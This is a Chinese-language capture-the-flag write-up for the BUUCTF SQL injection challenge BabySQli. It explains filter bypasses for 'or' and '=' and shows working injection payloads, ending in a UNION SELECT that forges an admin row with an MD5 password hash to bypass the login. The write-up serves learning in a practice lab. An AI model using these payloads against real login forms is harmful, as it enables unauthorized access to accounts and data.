BUUCTF | [GXYCTF2019]BabySQli

BUUCTF | [GXYCTF2019]BabySQli

一、必备基础知识

=号被过滤了使用likerlike绕过
or被过滤了使用大小写绕过,双写绕过,&&绕过

二、实战化渗透

[GXYCTF2019]BabySQli
因为本道题目的请求方式是POST,直接上手抓包,便于我们方便测试.
用户名:admin,密码123进行简单的测试,
在这里插入图片描述

2.发现有一行提示,一看便知这是base32加密后的结果

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

3.直接base32在线解密
在这里插入图片描述
4.解密之后发现是base64加密,使用base64在线解密

在这里插入图片描述

5.通过上述的解密,可以得到SQL查询语句

select * from user where username = '$name'

6.使用admin' or 1=1#进行测试,发现or=被过滤啦
在这里插入图片描述
7.使用大小写绕过or,使用like绕过=

name=admin' Or '1' like '1' #&pw=123

在这里插入图片描述
8.爆破字段的列

admin%27+Order+by+1%2C2%2C3%2C4%23

在这里插入图片描述

9.发现有三列,我在本机测试,使用Union select判断其显位点

-1' union select 1,2,3 #

在这里插入图片描述
10.但是本道题没有像其他的题目一样爆破出显位点,得到依然是错误的用户名,而只用我们输入用户admin时,它的报错是密码错误

admin' union select 1,2,3 #

在这里插入图片描述
11.本道题试了很多其他的测试方法都无事于补,说明本道题目的逻辑是这样的,先判断其用户名是否正确,如果正确的话就判断密码,否则就会报错。我们可以使用union select的特性——临时打印一张虚拟的表

select * from users where username = 'a' union select 1,2,3 #;

在这里插入图片描述
12.上述是我在本机上进行测试Union select的方法,再回到本题中,进行测试

-1' union select 1,'admin','123'#

在这里插入图片描述
报错密码错误

在这里插入图片描述
13.猜测密码可能错误,尝试比较常用的md5加密,md5加密网站
在这里插入图片描述
14.运气比较好,直接得到flag

name=-1' union select 1,'admin','202cb962ac59075b964b07152d234b70' #&pw=123

在这里插入图片描述

三、知识点总结

1.本道题目主要是逻辑较强,只能使用admin用户登录,当然也有其他用户可以登录,主要是没发现,只用用户名正确之后,才会判断其密码是否正确;
2.本道题目的密码采用了md5(32位)的加密方式;
3.解决本道题目有点类似于撞库,但是又完全是,使用union select 建立虚拟的表绕过

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>